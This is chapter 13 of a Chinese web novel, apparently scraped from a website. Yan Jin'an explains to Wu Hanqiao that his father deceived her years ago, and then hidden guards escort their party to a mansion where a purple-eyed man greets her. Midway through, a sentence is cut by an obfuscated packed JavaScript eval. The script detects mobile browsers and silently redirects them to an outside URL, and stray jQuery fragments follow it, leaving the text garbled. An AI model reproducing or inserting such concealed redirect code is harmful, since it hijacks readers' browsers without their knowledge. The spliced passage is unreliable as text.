13. 现身

作品:《瓦影下,枯鱼肆

    “若是还不说,那我可真走了?”


    砚槿安还在愣神之际,就听到伍寒乔甩出一句“威胁”,手上力道加重,将伍寒乔抓得更牢。


    心急如焚道:“你别走,我这就说。”然后他拉着她回到桌边坐回凳子上。


    “当年你来找我,我在屋里没有开门,是因为那不是我...”砚槿安说一句,便要心虚似的瞄一眼伍寒乔,看到她的表情没什么变化才继续说:“我父亲他...在我昏迷期间,让人装成是我骗你...”


    听着他这番话,伍寒乔面上虽不显,但心里那块悬吊已久的石头终于落了地,至少她终于知道,那时候的自己并非孤立无援的。


    “小忧..对不起,我那时候真的太没用了,才会昏迷什么都不知道,帮不了你...”砚槿安始终觉得,这话说出来,只会显得自己更加无用和懦弱。


    所以他自开始解释,始终都低着头,是愧疚,也是认错。


    “后来呢?”她回握住他抓着自己的手,在发颤,还有些冰凉。


    砚槿安被她的动作吓了一跳,强忍着羞怯没有缩回手,微微抬起头道:“后来我高烧退去醒过来,找了很久也没找到你,就晕过去了...”


    原本即将安静下来的砚槿安似是想起什么,赶忙补充了一句:“但是我之后一直都在找你的,我去了凉州很多次!”


    他怕她以为自己放弃了寻她。


    “你去谈叔叔那找我了?”


    “对,但我没敢进去,我就是在外面一直等着,连着等了好几日都没见过你,我就问了侯府的下人,他们说没有小姑娘找过侯爷...”


    话还没来得及说完,砚槿安的脸就被伍寒乔捧起,他的脸和耳朵尖一下就染上绯红,呼吸略微变得急促起来。


    “怎...怎么..怎么了吗?”砚槿安好似舌头打结,短短几个字硬生生说成了三句话。


    伍寒乔倾身靠近,停在砚槿安眼睛一个手掌的距离,她眼睛忙不迭地端详着他,从眉毛到嘴唇,仔仔细细到每一寸肌肤。


    方寸之间,砚槿安的心脏似爆炸一般,怦怦怦地敲打在耳膜上,脸上的温度迅速升高,像一颗熟透的六月柿。


    心跳声吵闹的间隙,他听到伍寒乔清清浅浅的声音:“所以你身子变这么弱,都是因为找我?”


    他不想她为此内疚,想摇头,却因为脑袋在伍寒乔手掌中间捧着,动弹不得。


    摆明了不想听他撒谎。


    一时进退两难,他委屈地瞪着一双委屈无辜地眼睛道:“可以...不回答吗?”


    咚!


    砚槿安吃痛地获得了一记闷响的头槌,答案昭然若揭:不能。


    他只得眨眨眼表示肯定,旋即又欲盖弥彰地解释道:“但我现在身子已经很强壮了,一点也不虚弱,真的!”


    话音未落,伍寒乔噗呲一声笑了出来,明明前不久连赶上她的脚步都还气喘吁吁的人,如今竟也开始说大话了。


    忽而她生出逗趣之心,眨眼间变冷了脸色,松开手眼睛一眨不眨地与砚槿安的视线交汇,“砚槿安,你知道的,我不喜欢说谎之人。”


    只见砚槿安的神色由窘迫到慌乱,他着急地开口:“小忧我没有撒谎,我的身体,真的没有以前那么差了...”


    这一句他倒是没有撒谎,此前他病得最严重的时候,莫说连日奔波至此地寻她,就连下床都不堪重负,更有甚者,当年昏迷醒来的那个冬日,他日日咳血,大夫基本都住到了砚府,只为替他时时诊治。


    许是寻伍寒乔的念头久久挂在心头,他硬是凭着一口气吊着从鬼门关走了一遭来回,之后春日变暖,他的身子也调养好不少。


    这之后,便是马不停蹄地又开始找人,除了凉州,他还去了许多地方,那时候连着几日都彻夜不眠,适才导致他原本就受创的身体落下了终生病根。


    如今跑急了,才总是止不住气喘。


    “砚槿安,”伍寒乔正色唤他。


    他腰板不自觉挺直,“我在。”


    “那不是你的错,我也没有恨你,只是忍不住怪你,连见我一面都不愿...”


    “那不是我!我没有不愿!”砚槿安迫不及待地解释道。


    “我现在知道了,你没有不愿,所以就让它过去吧,你现在找到我了不是吗?我不怪你了,你也别怪自己了,好吗?”伍寒乔最后两个字,说得极其温柔缱绻。


    听得砚槿安心痒,连耳根也变得酥酥软软的。


    少顷,他露出释然的笑,郑重点头,“好,我听你的。”


    他一笑,伍寒乔也跟着他笑,砚槿安认真瞧着那笑,喜悦的,赏心悦目的,不掺杂任何虚假和遮掩的,像糖葫芦外面的红色糖衣一样,耀眼的甜。


    那一刹那,砚槿安在眼前的伍寒乔身上,终于看到了小时候的伍忧的模样。


    原来这些话说出来,可以找回他的小忧,他有些讨厌,讨厌沉浸在自己的愧疚里,没能早点说出口的自己。


    二人说开后,气氛也不再似最开始那般尴尬和针对,当晚砚槿安留在客栈吃了晚饭,之后伍寒乔便吩咐阿四将他送回了驿站。


    翌日。


    四人按照约定的时辰在县衙门口得以会合,李县令脸色有些萎靡憔悴,好似没睡醒。


    但他还是殷勤地演出了不舍,将伍寒乔一行人送走。


    三匹马和一辆马车,后面的板车拉着一方棺椁,加上砚槿安长安带来的人,也不过十个人。


    一行人出了怀宁县,行过一个山头后,进入了一片清幽的树林。


    走到中途时,林子里突然开始冒出浓浓的白烟,空气中弥漫着诡异的气息。伍寒乔和阿四已经觉察出不对劲,二人屏息对视一眼,随即望向身后,侍卫不知何时倒成一片。


    而小九也机灵非常地捂住了砚槿安的鼻子,冲伍寒乔示意地点点头。


    片刻后,浓烟中显出几个黑色身影,矫健的步子和佩戴的武器面罩,无一不在告知伍寒乔他们,这是受过训练的暗卫。


    还有一点,这几人对伍寒乔他们,并无敌意。


    领头的暗卫朝伍


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785874|158038||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    寒乔拱手,恭敬道:“少卿大人,我家主人有请,还请几位能配合下,和我们走一趟。”


    伍寒乔坐在马背上俯视着几个暗卫,想必这就是她此前猜测的试探并想利用伍家之事的人。


    她没着急跟着他们走,而是反问道:“你家主人是谁?”


    “我等不便说出主人姓名,少卿大人去了便知。”


    “那我若是不去呢?你们又当如何?”伍寒乔说这话时,她和阿四的手都搭上了腰间的剑柄。


    “主人交代,少卿大人若是不愿随我们一起,那我等会立即离开,主人说他不会勉强大人。”


    听罢伍寒乔收回手,来人如此诚意,倒是让她不免起了兴致。


    “带路吧。”


    “是。”


    暗卫说罢,一下四散开来飞身上树围着四人形成一个保护圈,领头的暗卫走在前头领路,小九上了伍寒乔的马,阿四载着砚槿安,一同跟了上去。


    一刻钟后,一群人已然走出树林,来到了一处峡谷前,雾气弥漫挡住了前方的路,让人什么也看不清。


    走在前头的暗卫停下脚步,从身上取出几颗药丸递给伍寒乔:“少卿大人,这是峡谷毒气遍布,请服下避毒丹再随我等前行。”


    居然藏得如此之深,缜密至此,难怪自己也被套进他的棋局。


    穿过峡谷的迷雾后,眼前出现了一座偌大的宅邸。


    “几位,里面请。”领头的暗卫躬身做出请的手势道。


    四人相继下马,甫一走到门前,门便应声而开,门内站着一个老者,瞧着着装,像是管家。


    “少卿大人请随我来,我家主人在后院等候各位已久。”管家边说边带着四人沿着长廊往里走。


    方才只是在外面觉着这府邸大,进来发现,远比外头瞧着更宽阔,长廊旁边是个荷花池,没到季节,只片圆圆的荷叶泛着绿色。


    然而府邸虽大,却不见几个仆人,随着管家走了一路,连个路过的丫鬟都没有,看来此人身份极其隐秘。


    穿过棕红色拱门,庭院中央一个别致的凉亭,一个男人的身影背对几人而坐。


    “少卿大人请稍后,容我禀报一声。”管家行过礼,独自走向凉亭。


    与那人耳语几句后,管家再次走向伍寒乔他们。


    “二位大人有请。”管家说这话时,眼里映出伍寒乔和砚槿安的身影。看来那人对他们的身份已然了若指掌,适才连管家也分如此分明。


    “你们两留在这里。”伍寒乔侧目吩咐道,阿四和小九应了一声。


    随着与凉亭的距离越近,那人的身形轮廓也就愈加清晰,伍寒乔的心底隐约浮现出一丝似曾相识的感觉。


    直觉告诉她,那人与她相识已久。


    等到伍寒乔和砚槿安的脚步声停在那人身后,身着云缎锦衣的男人才缓缓转过身来,出尘的清隽面容上,一双别样的紫色眼睛格外勾人心弦。


    他唇瓣含笑微张,如初生太阳照拂的明媚桃花,声音清脆柔和。


    “小忧,好久不见。”